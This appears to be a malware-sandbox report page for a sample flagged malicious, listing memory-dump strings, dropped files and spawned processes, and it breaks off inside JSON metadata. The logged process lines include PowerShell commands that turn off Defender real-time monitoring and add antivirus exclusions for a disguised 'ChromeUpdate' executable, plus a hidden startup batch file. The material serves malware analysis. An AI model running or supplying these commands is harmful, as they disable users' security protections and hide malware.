"https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com0" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00009176.00000001.159302.030B5000.00000004.mdmp") Found URL "http://www.microsoft.com09iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?1.3.6.1.4.1.311.64.1.1list5!vhlist5!vh0c0!0a0!pl1" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00009176.00000001.159302.078C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0jp;" - Source: "00000000-00009176.00000001.159302.0791F000.00000004.mdmp") Found URL "http://www.microsoft.comwashington1redmond1microsoft" - Source: "00000000-00009176.00000001.159302.0848B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00009176.00000001.159302.0848B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00009176.00000001.159302.0848B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00009176.00000001.159302.0857E000.00000004.mdmp")4e:T121c,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.00691000.00000020.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp, 00000000-00005400.00000001.157945.085D0000.00000004.mdmp, 00000000-00005400.00000001.157945.08670000.00000004.mdmp, 00000000-00005400.00000001.157945.08680000.00000004.mdmp, 00000000-00005400.00000001.157945.086C0000.00000004.mdmp, 00000000-00005400.00000001.157945.086F0000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp, 00000000-00005400.00000001.157945.085D0000.00000004.mdmp, 00000000-00005400.00000001.157945.08670000.00000004.mdmp, 00000000-00005400.00000001.157945.08680000.00000004.mdmp, 00000000-00005400.00000001.157945.086C0000.00000004.mdmp, 00000000-00005400.00000001.157945.086F0000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__198" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__484" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__110" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "d__37" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.08160000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00005400.00000001.157945.085D0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00005400.00000001.157945.08670000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00005400.00000001.157945.08670000.00000004.mdmp")4f:T6da,Found reference to API "0506338882,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.421",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0262485455,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.312",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0504299334,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.421",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0310028596,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.328",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0505634088,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.421",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "52,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.421",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0301996801,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.328",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0267576733,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.312",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found reference to API "0505299638,6892,3120,,FindNextFileW,kernel32.dll,"00:40:56.421",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00005400.00000001.157945.081C0000.00000004.mdmp")50:Ta55,Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "disablerealtimemonitoring"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring $false" (Indicator: "disablerealtimemonitoring"; File: "AMSI") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "disablerealtimemonitoring"; File: "powershell.exe") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $false"" (Indicator: "disablerealtimemonitoring"; File: "powershell.exe") Found string "powershell.exe -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000000.156962.028A0000.00000004.mdmp, 00000000-00005400.00000000.156962.04230000.00000004.mdmp, 00000000-00005400.00000000.156962.06FE2000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.028A0000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp, 00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found string "DisableRealtimeMonitoring" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081FC000.00000004.mdmp") Found string "tion failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000001.157945.028A0000.00000004.mdmp") Found string "ing error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "disablerealtimemonitoring"; Source: "00000000-00005400.00000001.157945.081FC000.00000004.mdmp")51:Ta04,Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; File: "AMSI") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring $false" (Indicator: "Set-MpPreference"; File: "AMSI") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $false"" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "powershell.exe -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000000.156962.028A0000.00000004.mdmp, 00000000-00005400.00000000.156962.04230000.00000004.mdmp, 00000000-00005400.00000000.156962.06FE2000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.028A0000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp, 00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081FC000.00000004.mdmp") Found string "tion failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.028A0000.00000004.mdmp") Found string "ing error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.081FC000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.081FC000.00000004.mdmp")52:Tcbb,Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; File: "AMSI") file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.OriginInfo }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "Set-MpPreference -DisableRealtimeMonitoring $false" (Indicator: "Set-MpPreference"; File: "AMSI") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $false"" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "powershell.exe -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found string "Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000000.156962.028A0000.00000004.mdmp, 00000000-00005400.00000000.156962.04230000.00000004.mdmp, 00000000-00005400.00000000.156962.06FE2000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.028A0000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp, 00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $true" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.081FC000.00000004.mdmp") Found string "tion failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.028A0000.00000004.mdmp") Found string "ing error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.081FC000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00005400.00000001.157945.081FC000.00000004.mdmp")53:T57d,"javaw.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\imageio4849906140372636108.tmp" with delete access "javaw.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\imageio401711441080987923.tmp" with delete access "javaw.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\imageio2825440506134962047.tmp" with delete access "javaw.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\imageio6433719467679739438.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_q10mdvzu.g4t.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_zbflrq5n.t1l.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_xr3vh442.njh.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_c1fluvly.wp5.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ykwp1s5p.jqm.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_pvih5lum.bz1.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_oyv1c3o5.q0g.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_u2awmf2u.cft.psm1" with delete access54:T496,Dropped file: "__PSScriptPolicyTest_oyv1c3o5.q0g.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_oyv1c3o5.q0g.ps1]- [targetUID: 00000000-00009176] Dropped file: "__PSScriptPolicyTest_lvfw55w0.f10.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_lvfw55w0.f10.ps1]- [targetUID: 00000000-00008624] Dropped file: "__PSScriptPolicyTest_5matd1v2.uxq.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_5matd1v2.uxq.ps1]- [targetUID: 00000000-00006292] Dropped file: "__PSScriptPolicyTest_sqi1x3is.cnk.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_sqi1x3is.cnk.ps1]- [targetUID: 00000000-00008624] Dropped file: "__PSScriptPolicyTest_p4cuwkxr.4px.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_p4cuwkxr.4px.ps1]- [targetUID: 00000000-00006292] Dropped file: "__PSScriptPolicyTest_ykwp1s5p.jqm.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_ykwp1s5p.jqm.ps1]- [targetUID: 00000000-00009176] Dropped file: "__PSScriptPolicyTest_xr3vh442.njh.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_xr3vh442.njh.ps1]- [targetUID: 00000000-00005400] Dropped file: "__PSScriptPolicyTest_q10mdvzu.g4t.ps1" - Location: [%TEMP%\__PSScriptPolicyTest_q10mdvzu.g4t.ps1]- [targetUID: 00000000-00005400]55:T45e,Spawned process "javaw.exe" with commandline "-jar "C:\\Ikov.jar"" (UID: 00000000-00005256) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat"" (UID: 00000000-00002560) Spawned process "net.exe" with commandline "net session" (UID: 00000000-00004268) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00005364) Spawned process "powershell.exe" with commandline "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"" (UID: 00000000-00005400) Spawned process "powershell.exe" with commandline "-NoProfile -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\Google\\ChromeUpdate'"" (UID: 00000000-00009176) Spawned process "powershell.exe" with commandline "-NoProfile -Command "Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\Google\\ChromeUpdate\\chromelevator_x64.exe'"" (UID: 00000000-00008624) Spawned process "powershell.exe" with commandline "-NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $false"" (UID: 00000000-00006292)56:T8e4,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30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794262618119,"unified_at":"2026-11-09T22:16:58.119Z","metadata":{"hashes":{"sha256":"7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","sha1":"014ed5d83aec857d19b262c2907fd54b6dd106d0","md5":"297f66f275200fa96b0df78e46d1758a","sha512":"5024048fa042b6d5cb9191d5e808f1071eabe52818b259514409cb23448114f86c1caf5bafe826b4e6d9dbda4e37f717ffdcba1458dfa19627e82b0afde970d1","ssdeep":"98304:ibX4JHEdhbkMxzTN6OdGkVG78EaIR8M22W7p:y4xETbkgTNppVGQEJ5bWN","ssdeep_chunks":["98304:ibX4JHE","98304:bX4JHEd","98304:X4JHEdh","98304:4JHEdhb","98304:JHEdhbk","98304:HEdhbkM","98304:EdhbkMx","98304:dhbkMxz","98304:hbkMxzT","98304:bkMxzTN","98304:kMxzTN6","98304:MxzTN6O","98304:xzTN6Od","98304:zTN6OdG","98304:TN6OdGk","98304:N6OdGkV","98304:6OdGkVG","98304:OdGkVG7","98304:dGkVG78","98304:GkVG78E","98304:kVG78Ea","98304:VG78EaI","98304:G78EaIR","98304:78EaIR8","98304:8EaIR8M","98304:EaIR8M2","98304:aIR8M22","98304:IR8M22W","98304:R8M22W7","98304:8M22W7p","196608:ibX4JHE","196608:bX4JHEd","196608:X4JHEdh","196608:4JHEdhb","196608:JHEdhbk","196608:HEdhbkM","196608:EdhbkMx","196608:dhbkMxz","196608:hbkMxzT","196608:bkMxzTN","196608:kMxzTN6","196608:MxzTN6O","196608:xzTN6Od","196608:zTN6OdG","196608:TN6OdGk","196608:N6OdGkV","196608:6OdGkVG","196608:OdGkVG7","196608:dGkVG78","196608:GkVG78E","196608:kVG78Ea","196608:VG78EaI","196608:G78EaIR","196608:78EaIR8","196608:8EaIR8M","196608:EaIR8M2","196608:aIR8M22","196608:IR8M22W","196608:R8M22W7","196608:8M22W7p","98304:y4xETbk","98304:4xETbkg","98304:xETbkgT","98304:ETbkgTN","98304:TbkgTNp","98304:bkgTNpp","98304:kgTNppV","98304:gTNppVG","98304:TNppVGQ","98304:NppVGQE","98304:ppVGQEJ","98304:pVGQEJ5","98304:VGQEJ5b